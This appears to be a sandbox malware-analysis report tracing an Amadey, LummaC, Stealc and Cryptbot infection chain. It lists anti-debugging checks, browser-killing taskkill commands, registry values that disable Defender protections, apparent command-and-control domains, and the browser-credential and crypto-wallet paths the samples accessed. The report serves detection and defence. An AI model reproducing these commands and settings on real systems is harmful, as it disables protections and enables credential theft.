Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe

System information queried: KernelDebuggerInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_04AB0BC7 rdtsc

0_2_04AB0BC7

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe

Code function: 8_2_000EE470 LdrInitializeThunk,

8_2_000EE470

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_0074EAA2 BlockInput,

11_2_0074EAA2

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_00702622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

11_2_00702622

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_006D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_006D42DE

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_006F4CE8 mov eax, dword ptr fs:[00000030h]

11_2_006F4CE8

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_00730B62 GetSecurityDescriptorDacl,GetAclInformation,GetLengthSid,GetLengthSid,GetAce,AddAce,GetLengthSid,GetProcessHeap,HeapAlloc,GetLengthSid,CopySid,AddAce,SetSecurityDescriptorDacl,SetUserObjectSecurity,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,GetProcessHeap,HeapFree,

11_2_00730B62

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_00702622 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_00702622
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F083F IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	11_2_006F083F
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F09D5 SetUnhandledExceptionFilter,	11_2_006F09D5
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Code function: 11_2_006F0C21 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	11_2_006F0C21

Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe

Memory protected: page guard

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: 0a29ef6c7c.exe PID: 7564, type: MEMORYSTR

LummaC encrypted strings found

Source: 2bfd73b1c9.exe	String found in binary or memory: p3ar11fter.sbs
Source: 2bfd73b1c9.exe	String found in binary or memory: 3xp3cts1aim.sbs
Source: 2bfd73b1c9.exe	String found in binary or memory: peepburry828.sbs
Source: 2bfd73b1c9.exe	String found in binary or memory: p10tgrace.sbs
Source: 2bfd73b1c9.exe	String found in binary or memory: processhol.sbs

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

11_2_00731201

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_00712BA5 KiUserCallbackDispatcher,SetCurrentDirectoryW,GetForegroundWindow,ShellExecuteW,

11_2_00712BA5

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_0073B226 SendInput,keybd_event,

11_2_0073B226

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_007522DA GetForegroundWindow,GetDesktopWindow,GetWindowRect,mouse_event,GetCursorPos,mouse_event,

11_2_007522DA

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe "C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe "C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe "C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe "C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe "C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=2bfd73b1c9.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

11_2_00730B62

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_00731663 AllocateAndInitializeSid,CheckTokenMembership,FreeSid,

11_2_00731663

Source: dc933f0ab5.exe, 0000000B.00000000.2574170660.0000000000792000.00000002.00000001.01000000.0000000C.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: 0a29ef6c7c.exe	Binary or memory string: Program Manager
Source: 2bfd73b1c9.exe, 2bfd73b1c9.exe, 00000008.00000002.2886213597.0000000005F97000.00000040.00000800.00020000.00000000.sdmp	Binary or memory string: nProgram Manager
Source: 0a29ef6c7c.exe, 0000000A.00000002.2929100670.0000000000D04000.00000040.00000001.01000000.0000000B.sdmp	Binary or memory string: Program Manager
Source: dc933f0ab5.exe	Binary or memory string: Shell_TrayWnd
Source: 2bfd73b1c9.exe, 2bfd73b1c9.exe, 00000008.00000002.2850442003.0000000000293000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: (Program Manager
Source: skotes.exe, skotes.exe, 00000002.00000002.1812492795.00000000005F5000.00000040.00000001.01000000.00000007.sdmp	Binary or memory string: JProgram Manager
Source: firefox.exe, 0000001C.00000002.2792420161.000000084623B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?ProgmanListenerWi

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_006F0698 cpuid

11_2_006F0698

Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe	Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007565001\0a29ef6c7c.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_00748195 GetLocalTime,SystemTimeToFileTime,LocalFileTimeToFileTime,GetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,

11_2_00748195

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_0072D27A GetUserNameW,

11_2_0072D27A

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_0070BB6F _free,GetTimeZoneInformation,WideCharToMultiByte,WideCharToMultiByte,

11_2_0070BB6F

Source: C:\Users\user\AppData\Local\Temp\1007566001\dc933f0ab5.exe

Code function: 11_2_006D42DE GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,

11_2_006D42DE

Source: C:\Users\user\AppData\Local\Temp\1007559001\e6b1d28aa7.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe

Registry value created: TamperProtection 0

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates
Source: C:\Users\user\AppData\Local\Temp\1007567001\9f58872eb6.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations

Source: 2bfd73b1c9.exe, 0000000E.00000003.2800587773.0000000001310000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 0.2.file.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 1.2.skotes.exe.3f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000002.00000002.1812404979.00000000003F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000003.1772097071.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000002.1804111441.00000000003F1000.00000040.00000001.01000000.00000007.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1727318068.00000000048A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1767876609.00000000003F1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000001.00000003.1763832451.0000000004BF0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000003.2315535039.0000000004C10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Credential Flusher

Source: Yara match	File source: 0000000B.00000003.2575809178.0000000001703000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: dc933f0ab5.exe PID: 7756, type: MEMORYSTR

Yara detected Cryptbot

Source: Yara match

File source: dump.pcap, type: PCAP

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 2bfd73b1c9.exe PID: 6472, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2bfd73b1c9.exe PID: 5768, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 0000000A.00000003.2537752002.0000000004E90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2926513601.0000000000931000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000020.00000003.2703472620.0000000005320000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 0a29ef6c7c.exe PID: 7564, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 2bfd73b1c9.exe, 0000000E.00000003.2648235912.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Electrum\wallets"u
Source: 2bfd73b1c9.exe, 00000008.00000003.2557325033.0000000000D25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/ElectronCash
Source: 2bfd73b1c9.exe, 00000008.00000003.2557427407.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\com.liberty.jaxx\IndexedDB
Source: 2bfd73b1c9.exe, 0000000E.00000003.2640783818.0000000001301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: 2bfd73b1c9.exe, 00000008.00000003.2540614947.0000000000D3F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ExodusWeb3
Source: 2bfd73b1c9.exe, 0000000E.00000003.2635825594.00000000012F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance
Source: 2bfd73b1c9.exe, 0000000E.00000003.2640783818.0000000001301000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Ethereum
Source: 2bfd73b1c9.exe, 00000008.00000003.2557427407.0000000000D20000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: 2bfd73b1c9.exe, 00000008.00000003.2557364990.0000000000D1C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore
Source: 2bfd73b1c9.exe, 0000000E.00000003.2648235912.00000000012FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1007564001\2bfd73b1c9.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
